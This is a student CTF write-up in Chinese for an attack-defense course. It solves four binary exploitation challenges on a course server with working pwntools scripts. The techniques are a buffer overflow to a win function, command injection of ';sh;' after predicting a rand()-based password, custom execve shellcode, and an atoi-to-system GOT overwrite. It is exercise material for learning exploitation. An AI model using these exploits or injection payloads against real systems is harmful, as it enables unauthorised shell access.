# 攻防 HW1 Write Up---第15組(extra)
##### 107201017 莫耀智
##### 107201019 陳宇揚
##### 107201023 蔡沐霖
## helloCTF_revenge
解答:
``` python=1
from pwn import *
context.arch='amd64'
#p=process('./distribute/share/helloctf_revenge')
p=remote('140.115.59.7',10001)
pause()
magic=0x401263
#ret=0x40125a
payload=flat(b"yes\0",cyclic(0x14),magic)
p.sendlineafter(b"Do you like VTuber?\n",payload)
pause()
p.interactive()
p.close()
```
根據 source code,在輸入之後做了字串長度判斷,而利用gdb可以得知offset為24格,因此在輸入的字串中加入`\0`,在C中 `\0`為判斷字串是否結束,所以playload就塞`yes\0`加上`0x14`個垃圾再塞入magic的位置(`0x40125b`),然而直接塞magic的位置會出現movaps問題

推測是`push rbp`時讓`rsp`的位置受到更動,而`movaps`要求位置為16-byte


因此將magic地址調至 `0x401263`跳過`push rbp`後直接執行 `system call`就可以成功執行並拿到shell

## holoshell
``` python=1
from pwn import *
from ctypes import *
from time import *
#p=process('./distribute/share/holoshell')
p = remote('140.115.59.7',10004)
libc = cdll.LoadLibrary('libc.so.6')
libc.srand(int(time()))
#根據source code來解出sudo的密碼
ss=""
s=[str(chr(33+libc.rand() % (126-32) + 1)) for i in range(10)]
for i in s: ss+=i
ss=bytes(ss,'utf-8')
p.sendlineafter(b"yagoo@hololive:~$ ",b"sudo -s")
p.sendlineafter(b"[sudo] password for yagoo: ",flat(ss,b'";sh;"'))
p.interactive()
print(ss)
```
目標:透過`sudo()`函式中的`system(command)`來進到對方的kernel中。
* Step_1: 我們用`sendlineafter()`在讀到`"yagoo@hololive:~$ "`後輸入`"sudo -s"`,因為我們要進入`parse_command(command)`中的`sudo()`。
* Step_2:為了往下到`system(command)`,需要讓`password`、`passwd`一致。
因為這裡的密碼是偽隨機,我們只需利用跟source code一樣的方法就能解出密碼,在source code中,`passwd`是以`passwd[i] = 33 + (rand() % (126 - 32) + 1) i=1~10`設立的,所以我們在py檔中`password`也用一樣的方法設定就能讓其相同。
(ctypes包的cdll.LoadLibrary(‘libc.so.xxx’)可以在在腳本中加載動態庫,同时又能調用庫中的函數。)
:::info
(在`asprintf(&command, "echo \"%s\" >> HololiveTW.txt", buf)`這行時,會將字串`"echo \"%s\" >> HololiveTW.txt"`存入`&command`中,而下一行`system(command)`才會執行`&command`中的指令。)
:::
* Step_3:執行`echo \"%s\" >> HololiveTW.txt`時,將`s = ";/bin/sh;"`輸入,讓其變成`echo "";/bin/sh;"" >> HololiveTW.txt`,,意思從原本一段指令分為三段指令`echo ""`、`/bin/sh`、`"" >> HololiveTW.txt`,這樣下面就會執行`system(echo "";/bin/sh;"" >> HololiveTW.txt)`,會將我們送到目標kernel中。
## Peko
目標是透過`syacall`來呼叫`/bin/sh`


這是主要執行部份的組合語言
```
mov rax, 0x3b
xor rsi, rsi
xor rdx, rdx
sub rbp, 0x2e ;rbp-0x2e 是/bin/sh的存放位置
mov rdi, rbp
syscall
```
開頭得用`yes`,否則程式中止然後我們必須繞過檢查,否則程式中止,所以在squeak[ ]中`5+11t,t=0~5`這些位置上的值必須等於`0x87`,所以我們就隨便用一個運算處理,這邊我們用`and cl,0x87`,其他剩餘部份就用nop(`\x90\`)填補
``` python=1
from pwn import *
p=remote('140.115.59.7',10002)
context.arch = 'amd64'
context.os = 'linux'
context.endian = 'little'
jump=b'\x80\xe1\x87' #and cl,0x87
payload=b'\x90'*3+jump+b'\x90H\xc7\xc0;\x00\x00\x00'+jump+b'\x90\x90H1\xf6H1\xd2'+jump+b'\x90H\x83\xed.H\x89\xef'+jump+b'\x0f\x05'+b'\x90'*6+jump+b'/bin/sh\x00'+jump
p.sendlineafter(b"I think pekora is the best VTuber. Isn't it?\n",b'yes'+payload)
p.interactive()
```

## holotool
解答:
``` python=1
from pwn import *
context.arch='amd64'
p=process('./distribute/share/holotool')
#p=remote('140.115.59.7',10005)
lib = ELF('./distribute/share/libc.so.6')
atoi=lib.symbols['atoi']
p.sendlineafter(b"> ",b'1')
p.sendlineafter(b"> ",b'-1')
atoi_address=u64(p.recvline().strip().split(b': ')[1].ljust(8,b'\x00'))
base=atoi_address-atoi
success('address : 0x%x',atoi_address)
success('libc base : 0x%x',base)
sh=next(lib.search(b'/bin/sh'))+base
success('sh: 0x%x',sh)
system=base + lib.symbols['system']
success('sys: 0x%x',system)
p.sendlineafter(b"> ",b'2')
p.sendlineafter(b"idx> ",b'-1')
p.sendlineafter(b"> ",b'1')
p.sendlineafter(b": ",p64(system))
p.sendlineafter(b"> ",b'sh')
pause()
p.interactive()
```
目標透過更改`atoi lib`的地址使程式可以使用`system lib function`,讀程式碼可以看到`show info` 沒有擋負數,因此可以輸入-1來印出atoi的地址。

因此使用 `recvline`將數值接起來在座字串處理
接下來要算`base`的位置,可以利用`gdb`直接計算,或是利用`pwntool`來計算。算出base的位置後就可以推出`system`的位置。抓到system的位置後就使用`edit info`來更改atoi的位置,讓他回傳以後會直接return到system裡面,之後輸入sh就可以拿到shell了
